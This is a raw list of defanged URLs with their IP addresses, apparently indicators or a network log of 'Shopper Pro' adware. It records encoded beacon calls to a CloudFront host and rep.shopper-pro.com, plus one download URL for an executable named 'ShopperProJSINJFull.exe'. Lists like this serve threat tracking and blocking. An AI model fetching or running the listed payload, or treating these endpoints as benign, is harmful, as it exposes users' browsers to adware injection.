hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=37A8KpTgCn/SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DyLYKXVcB4UWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yFNM7iWe50KMgf1dP3VNJ83kOB3v7aTq0FvQQoYDonDPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKOm5eZ4cw1FBPrMwLm 2sRKYX3Ti/i3YOiW0 omKwO0Y2XPqbUnjz51Bh/iAYXR/eNO/EFhS0oWvdLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKOB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJAkqBmtM5btymF904v4t2DqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaZcc7RKjUBXhxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=aQQpsP6/AW3r A4x0AgNXcNTnuyhzCsU1lnchBmRgOB4E7mrr1h80jmXqQawsZSOUA7dl9owwhI8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjfF7ZDOsdUGBLRxO9upzM6GX1FtTkCv6XEYkL4n1Dcu54nJwzEzT2yHUh 3ZGDmdW5pZis9f nTddyS4BuUDC9Ua9iR8Lp3n3hqa6yId4a3jP358k7pbeGviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.192
hxxp://mjqap06up-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKSe6wB6uwHTPUd/QfilrMBAltiGSLIu3jTI/BdPpi2K8DfJqMJzaCLHcPH8e2aI0 M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLTuh9zxLe96tCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3QaM eJWkTw6uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJaYa2XOOQuZBQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbK12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLF/nvWLek4mQTxIUcsgQ wziIw8Q49/dgttmOVSqw04CNiCF4FJfQXuVsw3gS4GmHhRrrlB59yRveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVq4dUk9GnPsFAL52sIXt4U0qLzPw Pacn85/VVOVEM HReSOat uWfthh0D7o0cmcw5/ 5Sh8s fxc/7Yop4xTroG83Cls2ohzLGNvvJ6pkseMNM H00qEGgh75DuWJt9TK8wWTyvLp8yXsLJdxo/ZSntfB84 2wN yMkaRh3W5d5SlKONgbzzxsVHBldbLfXyM0PiCv52w9AvPIsy064P3xU2zDWyebWqHtv2oE0WIBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbIQuxFFygAloQTxIUcsgQ wiZa/wAgr78fanAVHlmf vATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLvsEASNc/caY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffFowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4JAAwpIfeapc=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbICMm3VbjJ5Co4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoT3JQKoSvMaYBPEhRyyBD7DbfYAneP5MPopubDw8olAs Nle7oezr7YHWYd/vwxon8edeFgooUYb 2ZKqVpmMJm6Of9ocGmWJx/8D22fMkCRNVwvne4x3wjDUBlljpmKU8In48S6Xe28RUiyenMUWdnVXgd6TQBX2TfbAfdk2QEqV9sNxrhLAG9RStn5Fs7gF1fbDca4SwBv8vPmCTwtmQefIC2kPlP4P2vxpQ1dWE9PAWjA657PQNbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=QgW8pN5r26ZQhScA1jb3TyREuwbN91 W7OXLse4BafSoipMojeRGOY2 5cMBkwSYaPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb25k0 z8IQ1IIKPuMdH9xkPFYS5k6/5B5fD60PayiDCQx4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4XyrUF6vpeaSkdoRAj2suRrqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdCNCoXq3Dx83xXuPFOdxmQSrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=eFCD8T/coiffLKKeESUbyeRCMlh3l5QDmkbcHfsclGUd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2X4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF02quj iDJcwIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRypRW8qn0uD1ce90znhXYsIjgb6v7cXpPttTZPlQp8Fmjg60cE2JfaCBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRzfV9OCtHXZfA3mXJEY39mHAhwsRGINrujU8aLWOIyJUH8YWruN4e6MO8O/q5Hem1bJiqDUFiGk4U0lC/Eq70qcbLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL4uL3nZNLGhPzkTt9Mah9wLlBkGfulxjlGyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU=	54.230.202.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQGqLfoC4OqV/JVBhBZIp/uj62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNQAzrx43g/LCUxrs0caq6YtgKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096/GI58s4qdMFCn qX4FpTdffopz0y2Q7Y	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGIRZ1/hnxglE0lAjYLtCW4jc660fTemQkPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm/iEHc/4tbAA/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKO2hiPvjqy7KymrvcVl0Mf/w==	173.239.4.105
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=s5Ydxb c7o0DbDSBvTK 4ORCMlh3l5QDBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2gFOqBGDQz2QUylR/HjWbOd2e5PDAg/ZO0JQd5HxgIXe7dwEpH50ejEUygQwn ymuxyQvi1UiSlerMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5	54.230.202.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQGqLfoC4OqV/JVBhBZIp/uj62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNQAzrx43g/LCUxrs0caq6YtgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F0KGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLhPZicoVrIO6gNLtxmH87yasaZRg38QqQplaL66ttUFNNFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJho8h/FisYGSSDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb7TVCsYrHJ5c6WZOT20yVUcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8WGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4AUq9vGFcnz4PEn7DqvLFbw==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIZe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096/GI58s4qdMFCn qX4FpTdffopz0y2Q7Y	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx3402WUYXT58pFU7xKwR3W9AY9/CpuCTIAF0=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIbU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX/FowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4UEmp2OsTSy3H/jy8G4FGJY4SiD403Los	173.239.4.105
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=/k6kR j50tqrESd40BFHqTtwOqvEtO32f5NUXepNpdv8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRJ1a2JXaOA92w6kHnR XV4QBZGQjpShx/0JQd5HxgIXdABmFtdiJe0br0BIV93bNcKPuMdH9xkPEqLS1Wgne9fqzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqeCOGrZlPxTINqCtCGAkJBaxx AjnWvA7ssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLmGGWuS9lXbF	54.230.202.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U AFKvbxhXJ8 DxJ w6ryxW8=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmORCMlh3l5QDlzMqADZ2OvYSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EpbLW Y9uI7YHEKKKBi1571KZ41CPq3IAdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5GhfHTqmjrz1Yt96j8Hn3PgGUqUYly4OA=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9WBOuidoZFbtcNTnuyhzCsUS8F/yrzxvGiRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablNM/OTSfAxpETFfEa7POv3dBPpL0iVh6pz0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WHcLb5rlPpW8m2J0WUeA93WyFYVCbp3 D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib IQdz/i1sAD90sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5IOxXgf0cBoKau9xWXQx//	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9WBOuidoZFbtcNTnuyhzCsUS8F/yrzxvGiRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablNM/OTSfAxpETFfEa7POv3dBPpL0iVh6pz0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PevxiOfLOKnTB4uZ/p4emFS336Kc9MtkO2A==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32LkpWh6PodGYicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D9X6v prVaYKtyBlCqpAbw8S4A3OSEz417o4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1s6P8Px33yxMkgTqbaWGToUHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtec8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjTZZRhdPnykVA4NV4RhU9Lz38Km4JMgAXQ==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCC7nZonKtwTUZgZmyseeKtPZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcV2fwAkvrmVqyT2CoF3UtV0apTk4QCsQhmadpT4UtSGCs4164GCUCrFAp3QYSCRp VVnhFPR3bcYdw7RpAuou89nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3r8Yjnyzip0weLmf6eHphUt9 inPTLZDtg=	173.239.4.105
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemmtMU1uXBMoybSR66skE3WhQC drCF7eFih/ZYoECemlhN5Nq9bCx4Mo8BOSaWcoT1pd0pGQJZFEmvv7NOtxjUIEzPoKLI8Bo7LchnHKxLMLp9cMTh3UzKaHi8lJ8ZZ64jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemVjr4IQgU6/17ym41MswgnBQC drCF7eFcz7 uAJ9xYcIp0OdaBZXvr/vhPcFBsxkAjkJywGAYoQ8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qopuBi6/bm33q10HaaBVZzWyyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=jJl6mEdycnTSR sqobBJuY7XC5kmyJsiQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRjC3V bPuVemFwnxoOIHE6aTQd05qfPsYbPiCC4paVhdDohIbj8Q6VaW5tTYgKyNaPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o=	54.230.202.192
